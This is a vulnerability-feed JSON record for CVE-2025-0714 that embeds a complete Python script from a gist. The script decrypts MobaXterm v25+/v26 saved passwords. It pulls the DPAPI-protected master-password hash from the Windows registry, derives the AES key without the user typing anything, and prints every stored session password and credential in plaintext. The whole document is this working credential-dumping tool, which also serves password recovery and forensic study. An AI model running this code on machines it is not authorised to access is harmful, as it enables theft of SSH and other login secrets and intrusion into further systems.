{"uuid": "4bf40d55-516d-4d33-9642-e56865e61cc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0714", "type": "seen", "source": "https://gist.github.com/kipavy/910e7ddc8efea7aeb9202c0241486a1d", "content": "#!/usr/bin/env python3\n\"\"\"\nMobaXterm v25+/v26 password decryptor  (handles CVE-2025-0714 random-IV format).\n\nOlder tools (HyperSine, XMCyber, clemthi) assume a fixed IV = AES-ECB(key, 0).\nMobaXterm &gt;= 25.0 switched to a random per-password IV stored inline. Format:\n\n    stored = \"_@\" + IV(16 chars) + base64(AES-256-CFB8(key, IV, password))\n\n  key  = SHA512(master_password)[:32]\n  IV   = the 16 ASCII characters right after the \"_@\" marker (used as the AES IV bytes)\n  body = base64-decode the FULL stored string (alphabet @-&gt;+, _-&gt;/), then drop the\n         first 15 bytes -&gt; the CFB8 ciphertext of the password.\n\nThis script auto-derives the key from the DPAPI-protected master-password hash in the\nregistry (so you don't even need to type the master password), then decrypts the\nP (session passwords) and C (credentials) subkeys.\n\nRequires: pycryptodome  (pip install pycryptodome)\nWindows only (reads HKCU and uses DPAPI).\n\"\"\"\nimport os, sys, platform, base64, hashlib, itertools, winreg, ctypes\nfrom ctypes import wintypes\nfrom Crypto.Cipher import AES\n\nREG_BASE = r'Software\\Mobatek\\MobaXterm'\nDPAPI_HEADER = bytes.fromhex('01000000d08c9ddf0115d1118c7a00c04fc297eb')\n\n\n# ---- DPAPI (CryptUnprotectData) via Win32, with optional entropy ----\nclass DATA_BLOB(ctypes.Structure):\n    _fields_ = [('cbData', wintypes.DWORD), ('pbData', ctypes.POINTER(ctypes.c_char))]\n\ndef _blob(data: bytes) -&gt; DATA_BLOB:\n    buf = ctypes.create_string_buffer(data, len(data))\n    return DATA_BLOB(len(data), ctypes.cast(buf, ctypes.POINTER(ctypes.c_char)))\n\ndef dpapi_unprotect(data: bytes, entropy: bytes) -&gt; bytes:\n    pin, pent, pout = _blob(data), _blob(entropy), DATA_BLOB()\n    if not ctypes.windll.crypt32.CryptUnprotectData(\n            ctypes.byref(pin), None, ctypes.byref(pent), None, None, 0, ctypes.byref(pout)):\n        raise ctypes.WinError()\n    out = ctypes.string_at(pout.pbData, pout.cbData)\n    ctypes.windll.kernel32.LocalFree(pout.pbData)\n    return out\n\n\ndef derive_key_from_registry() -&gt; bytes:\n    \"\"\"Derive the AES key from the DPAPI-protected master-password hash (no typing needed).\"\"\"\n    base = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_BASE)\n    session_p, _ = winreg.QueryValueEx(base, 'SessionP')\n    m = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_BASE + r'\\M')\n    val, _ = winreg.QueryValueEx(m, os.getlogin() + '@' + platform.node())\n    blob = DPAPI_HEADER + base64.b64decode(val)\n    master_hash = dpapi_unprotect(blob, str(session_p).encode('utf-8'))\n    return base64.b64decode(master_hash)[:32]\n\n\ndef derive_key_from_password(master_password: str) -&gt; bytes:\n    return hashlib.sha512(master_password.encode('utf-8')).digest()[:32]\n\n\ndef decrypt_value(key: bytes, stored: str) -&gt; bytes:\n    \"\"\"Decrypt one MobaXterm v25+/v26 stored password string.\"\"\"\n    if not stored.startswith('_@'):\n        # Old (&lt;=v24) format: full string is base64 (@-&gt;+,_-&gt;/), fixed IV = ECB(key,0)\n        ct = base64.b64decode(stored, altchars=b'@_')\n        iv = AES.new(key=key, mode=AES.MODE_ECB).encrypt(b'\\x00' * 16)\n        return AES.new(key=key, iv=iv, mode=AES.MODE_CFB, segment_size=8).decrypt(ct)\n    iv = stored[2:18].encode('latin1')              # 16 chars after _@ = AES IV\n    body = base64.b64decode(stored, altchars=b'@_')[15:]\n    return AES.new(key=key, iv=iv, mode=AES.MODE_CFB, segment_size=8).decrypt(body)\n\n\ndef _decode(b: bytes) -&gt; str:\n    try:\n        return b.decode('utf-8')\n    except UnicodeDecodeError:\n        return b.decode('latin1')\n\n\ndef enum_values(subkey: str):\n    try:\n        k = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_BASE + '\\\\' + subkey)\n    except FileNotFoundError:\n        return\n    for i in itertools.count(0):\n        try:\n            yield winreg.EnumValue(k, i)[:2]\n        except OSError:\n            break\n\n\ndef main():\n    if platform.system().lower() != 'windows':\n        sys.exit('Windows only.')\n    try:\n        key = derive_key_from_registry()\n        print('[+] AES key derived from registry master-password hash.\\n')\n    except Exception as e:\n        pw = input('Could not auto-derive key (%s).\\nEnter MobaXterm master password: ' % e)\n        key = derive_key_from_password(pw)\n\n    print('=== Session passwords (P) ===')\n    for name, value in enum_values('P'):\n        print(f'  {name:&lt;32} {_decode(decrypt_value(key, value))!r}')\n\n    creds = list(enum_values('C'))\n    if creds:\n        print('\\n=== Credentials (C) ===')\n        for name, value in creds:\n            user, _, enc = value.partition(':')\n            print(f'  {name:&lt;20} user={user!r:&lt;14} {_decode(decrypt_value(key, enc))!r}')\n\n\nif __name__ == '__main__':\n    main()\n", "creation_timestamp": "2026-05-30T13:57:01.000000Z"}